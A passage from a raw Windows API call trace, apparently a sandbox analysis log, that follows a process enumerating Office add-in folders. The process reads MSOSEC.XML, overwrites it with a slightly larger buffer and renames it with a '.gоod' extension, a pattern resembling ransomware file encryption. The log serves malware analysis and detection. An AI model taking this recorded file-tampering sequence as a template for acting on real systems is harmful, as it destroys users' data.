lpFindFileData=0x206edd30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefd68243, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x16841bb6, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x16841bb6, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PowerPivot Excel Add-in", cAlternateFileName="POWERP~1")) returned 1 [0206.180] FindNextFileW (in: hFindFile=0x131de60, lpFindFileData=0x206edd30 | out: lpFindFileData=0x206edd30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xc7c5a96a, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xc7c5a96a, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd9d4a250, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x163c40, dwReserved0=0x0, dwReserved1=0x0, cFileName="UmOutlookAddin.dll", cAlternateFileName="UMOUTL~1.DLL")) returned 1 [0206.180] FindNextFileW (in: hFindFile=0x131de60, lpFindFileData=0x206edd30 | out: lpFindFileData=0x206edd30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xc7c5a96a, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xc7c5a96a, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd9d4a250, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x163c40, dwReserved0=0x0, dwReserved1=0x0, cFileName="UmOutlookAddin.dll", cAlternateFileName="UMOUTL~1.DLL")) returned 0 [0206.180] FindClose (in: hFindFile=0x131de60 | out: hFindFile=0x131de60) returned 1 [0206.180] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206edf90) returned 1 [0206.181] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206edf50) returned 1 [0206.181] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\MSOSEC.XML", nBufferLength=0x105, lpBuffer=0x206ed930, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\MSOSEC.XML", lpFilePart=0x0) returned 0x41 [0206.181] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x206ede00) returned 1 [0206.181] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\MSOSEC.XML" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\msosec.xml"), fInfoLevelId=0x0, lpFileInformation=0x3440ad0 | out: lpFileInformation=0x3440ad0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x133819a5, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x133819a5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x133819a5, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xb3)) returned 1 [0206.181] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206eddc0) returned 1 [0206.181] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\MSOSEC.XML", nBufferLength=0x105, lpBuffer=0x206ed790, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\MSOSEC.XML", lpFilePart=0x0) returned 0x41 [0206.182] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x206edcb0) returned 1 [0206.182] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\MSOSEC.XML" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\msosec.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x820 [0206.182] GetFileType (hFile=0x820) returned 0x1 [0206.182] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206edc20) returned 1 [0206.182] GetFileType (hFile=0x820) returned 0x1 [0206.182] GetFileSize (in: hFile=0x820, lpFileSizeHigh=0x206ede58 | out: lpFileSizeHigh=0x206ede58*=0x0) returned 0xb3 [0206.182] ReadFile (in: hFile=0x820, lpBuffer=0x3440e10, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x206edd88, lpOverlapped=0x0 | out: lpBuffer=0x3440e10*, lpNumberOfBytesRead=0x206edd88*=0xb3, lpOverlapped=0x0) returned 1 [0206.183] CloseHandle (hObject=0x820) returned 1 [0206.210] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\MSOSEC.XML", nBufferLength=0x105, lpBuffer=0x206ed790, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\MSOSEC.XML", lpFilePart=0x0) returned 0x41 [0206.210] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x206edcb0) returned 1 [0206.210] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\MSOSEC.XML" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\msosec.xml"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x820 [0206.212] GetFileType (hFile=0x820) returned 0x1 [0206.212] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206edc20) returned 1 [0206.212] GetFileType (hFile=0x820) returned 0x1 [0206.212] WriteFile (in: hFile=0x820, lpBuffer=0x34b8750*, nNumberOfBytesToWrite=0xc0, lpNumberOfBytesWritten=0x206edc98, lpOverlapped=0x0 | out: lpBuffer=0x34b8750*, lpNumberOfBytesWritten=0x206edc98*=0xc0, lpOverlapped=0x0) returned 1 [0206.542] CloseHandle (hObject=0x820) returned 1 [0206.559] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\MSOSEC.XML", nBufferLength=0x105, lpBuffer=0x206ed930, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\MSOSEC.XML", lpFilePart=0x0) returned 0x41 [0206.559] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\MSOSEC.XML.gоod", nBufferLength=0x105, lpBuffer=0x206ed930, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\MSOSEC.XML.gоod", lpFilePart=0x0) returned 0x46 [0206.559] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x206eddc0) returned 1 [0206.559] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\MSOSEC.XML" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\msosec.xml"), fInfoLevelId=0x0, lpFileInformation=0x206edea0 | out: lpFileInformation=0x206edea0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x133819a5, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x133819a5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x775357b2, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0xc0)) returned 1 [0206.559] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206edd80) returned 1 [0206.559] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\MSOSEC.XML" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\msosec.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\MSOSEC.XML.gоod" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\msosec.xml.gоod")) returned 1 [0206.561] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x206ed620) returned 1 [0207.570] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated", nBufferLength=0x105, lpBuffer=0x206ed0c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated", lpFilePart=0x0) returned 0x61 [0207.570] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\*", lpFindFileData=0x206ed340 | out: lpFindFileData=0x206ed340*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefd42039, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xefd42039, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xefd42039, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x131de60 [0207.570] FindNextFileW (in: hFindFile=0x131de60, lpFindFileData=0x206ed300 | out: lpFindFileData=0x206ed300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefd42039, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xefd42039, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xefd42039, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0207.570] FindNextFileW (in: hFindFile=0x131de60, lpFindFileData=0x206ed300 | out: lpFindFileData=0x206ed300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefd42039, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x895576a, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x895576a, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="bin", cAlternateFileName="")) returned 1 [0207.570] FindNextFileW (in: hFindFile=0x131de60, lpFindFileData=0x206ed300 | out: lpFindFileData=0x206ed300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefd42039, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x895576a, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x895576a, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="bin", cAlternateFileName="")) returned 0 [0207.571] FindClose (in: hFindFile=0x131de60 | out: hFindFile=0x131de60) returned 1 [0207.571] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ed560) returned 1 [0207.571] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ed520) returned 1 [0207.571] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x206ed620) returned 1 [0207.571] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated", nBufferLength=0x105, lpBuffer=0x206ed0c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated", lpFilePart=0x0) returned 0x61 [0207.571] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\*", lpFindFileData=0x206ed340 | out: lpFindFileData=0x206ed340*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefd42039, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xefd42039, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xefd42039, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x131de60 [0207.571] FindNextFileW (in: hFindFile=0x131de60, lpFindFileData=0x206ed300 | out: lpFindFileData=0x206ed300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefd42039, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xefd42039, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xefd42039, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0207.571] FindNextFileW (in: hFindFile=0x131de60, lpFindFileData=0x206ed300 | out: lpFindFileData=0x206ed300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefd42039, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x895576a, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x895576a, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="bin", cAlternateFileName="")) returned 1 [0207.571] FindNextFileW (in: hFindFile=0x131de60, lpFindFileData=0x206ed300 | out: lpFindFileData=0x206ed300*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0207.571] FindClose (in: hFindFile=0x131de60 | out: hFindFile=0x131de60) returned 1 [0207.571] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ed560) returned 1 [0207.571] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ed520) returned 1 [0207.572] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x206ecbf0) returned 1 [0207.572] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin", nBufferLength=0x105, lpBuffer=0x206ec690, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin", lpFilePart=0x0) returned 0x65 [0207.572] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\*", lpFindFileData=0x206ec910 | out: lpFindFileData=0x206ec910*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefd42039, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x895576a, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x895576a, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x131de60 [0207.572] FindNextFileW (in: hFindFile=0x131de60, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefd42039, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x895576a, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x895576a, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0207.573] FindNextFileW (in: hFindFile=0x131de60, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1945af2, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x7fd9ab, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x7fd9ab, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ar", cAlternateFileName="")) returned 1 [0207.573] FindNextFileW (in: hFindFile=0x131de60, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf480feb5, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x18157e1, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x18157e1, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="bg", cAlternateFileName="")) returned 1 [0207.573] FindNextFileW (in: hFindFile=0x131de60, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1ae94c9, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x61b241f, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x61b241f, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ca", cAlternateFileName="")) returned 1 [0207.573] FindNextFileW (in: hFindFile=0x131de60, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf134fca5, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x2ee20e1, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x2ee20e1, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="cs", cAlternateFileName="")) returned 1 [0207.573] FindNextFileW (in: hFindFile=0x131de60, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5c164a, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x6866e01, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6866e01, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="da", cAlternateFileName="")) returned 1 [0207.573] FindNextFileW (in: hFindFile=0x131de60, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeff31e88, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x624ad43, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x624ad43, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="de", cAlternateFileName="")) returned 1 [0207.573] FindNextFileW (in: hFindFile=0x131de60, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf472b09c, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf472b09c, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf475131d, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x4fe050, dwReserved0=0x0, dwReserved1=0x0, cFileName="DocumentFormat.OpenXml.dll", cAlternateFileName="DOCUME~1.DLL")) returned 1 [0207.574] FindNextFileW (in: hFindFile=0x131de60, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf00d5872, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x6c93006, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6c93006, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="el", cAlternateFileName="")) returned 1 [0207.574] FindNextFileW (in: hFindFile=0x131de60, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf47e9c8f, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x6e5cc4e, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6e5cc4e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="es", cAlternateFileName="")) returned 1 [0207.574] FindNextFileW (in: hFindFile=0x131de60, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0df27d3, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x8719376, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x8719376, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="et", cAlternateFileName="")) returned 1 [0207.574] FindNextFileW (in: hFindFile=0x131de60, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf41cdbc1, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x69980f7, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x69980f7, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="eu", cAlternateFileName="")) returned 1 [0207.574] FindNextFileW (in: hFindFile=0x131de60, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x56d17f1, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x56d17f1, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x56d17f1, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x13c40, dwReserved0=0x0, dwReserved1=0x0, cFileName="EventSource.dll", cAlternateFileName="EVENTS~1.DLL")) returned 1 [0207.574] FindNextFileW (in: hFindFile=0x131de60, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf47e9c8f, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x6bae279, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6bae279, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fi", cAlternateFileName="")) returned 1 [0207.574] FindNextFileW (in: hFindFile=0x131de60, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefd42039, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x60db08, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x60db08, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fr", cAlternateFileName="")) returned 1 [0207.575] FindNextFileW (in: hFindFile=0x131de60, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1e0a643, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x675bda6, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x675bda6, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="gl", cAlternateFileName="")) returned 1 [0207.575] FindNextFileW (in: hFindFile=0x131de60, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1c8cf9c, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x6e5cc4e, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6e5cc4e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="he", cAlternateFileName="")) returned 1 [0207.575] FindNextFileW (in: hFindFile=0x131de60, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf43e3cb7, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x6c93006, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6c93006, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hi", cAlternateFileName="")) returned 1 [0207.575] FindNextFileW (in: hFindFile=0x131de60, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1ac3289, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x6b61d36, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6b61d36, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hr", cAlternateFileName="")) returned 1 [0207.575] FindNextFileW (in: hFindFile=0x131de60, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1945af2, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x2ebbef3, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x2ebbef3, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hu", cAlternateFileName="")) returned 1 [0207.575] FindNextFileW (in: hFindFile=0x131de60, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefee59ce, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfc43098a, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfc43098a, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="id", cAlternateFileName="")) returned 1 [0207.575] FindNextFileW (in: hFindFile=0x131de60, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa89f599, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x6270fd0, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6270fd0, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="it", cAlternateFileName="")) returned 1 [0207.576] FindNextFileW (in: hFindFile=0x131de60, lpFindFileData=0x206ec8d0 | out: 